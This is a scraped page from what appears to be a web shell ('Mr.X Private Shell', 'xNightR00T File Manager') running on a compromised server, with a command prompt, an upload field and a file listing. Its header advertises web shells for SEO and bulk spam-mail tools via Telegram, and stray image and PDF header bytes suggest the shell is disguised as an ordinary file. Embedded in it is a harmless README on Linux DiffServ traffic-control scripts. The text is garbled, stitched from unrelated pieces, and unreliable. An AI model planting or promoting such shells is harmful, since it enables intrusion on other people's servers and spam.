xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
Note all these are mere examples which can be customized to your needs

AFCBQ
-----
AF PHB built using CBQ, DSMARK,GRED (default in GRIO mode) ,RED for BE 
and the tcindex classifier with some algorithmic mapping

EFCBQ
-----
EF PHB built using CBQ (for rate control and prioritization), 
DSMARK( to remark DSCPs), tcindex  classifier and  RED for the BE
traffic.

EFPRIO
------
EF PHB using the PRIO scheduler, Token Bucket to rate control EF,
tcindex classifier, DSMARK to remark, and RED for the BE traffic

EDGE scripts
==============

CB-3(1|2)-(u32/chains)
======================


The major differences are that the classifier is u32 on -u32 extension
and IPchains on the chains extension. CB stands for color Blind
and 31 is for the mode where only a CIR and CBS are defined whereas
32 stands for a mode where a CIR/CBS + PIR/EBS are defined.

Color Blind (CB)
==========-----=
We look at one special subnet that we are interested in for simplicty
reasons to demonstrate the capability. We send the packets from that
subnet to AF4*, BE or end up dropping depending on the metering results. 


The algorithm overview is as follows:

*classify:

**case: subnet X
----------------
  if !exceed meter1 tag as AF41
	else
	    if !exceed meter2  tag as AF42
	        else
		  if !exceed meter 3 tag as AF43
		      else 
			 drop 

default case: Any other subnet
-------------------------------
  if !exceed meter 5 tag as AF43
      else
	 drop 


One Egress side change the DSCPs of the packets to reflect AF4* and BE
based on the tags from the ingress.

-------------------------------------------------------------

Color Aware
===========

Define some meters with + policing and give them IDs eg

meter1=police index 1 rate $CIR1 burst $CBS1  
meter2=police index 2 rate $CIR2 burst $CBS2   etc 

General overview:
classify based on the DSCPs and use the policer ids to decide tagging


*classify on ingress:

switch (dscp) {
    case AF41: /* tos&0xfc == 0x88 */
	if (!exceed meter1) break;
    case AF42: /* tos&0xfc == 0x90 */
	if (!exceed meter2) {
	    tag as AF42;
	    break;
	}
    case AF43: /* tos&0xfc == 0x98 */
	if (!exceed meter3) {
	    tag as AF43;
	    break;
	} else
	  drop;
    default:
	if (!exceed meter4) tag as BE;
	else drop;
}

On the Egress side mark the proper AF tags

Filemanager

Name Type Size Permission Actions
Edge1 File 1.98 KB 0644
Edge2 File 2.89 KB 0644
Edge31-ca-u32 File 4.9 KB 0644
Edge31-cb-chains File 3.9 KB 0644
Edge32-ca-u32 File 5.75 KB 0644
Edge32-cb-chains File 4.32 KB 0644
Edge32-cb-u32 File 4.24 KB 0644
README File 2.25 KB 0644
afcbq File 3.42 KB 0644
ef-prio File 906 B 0644
efcbq File 1.17 KB 0644
regression-testing File 3.8 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1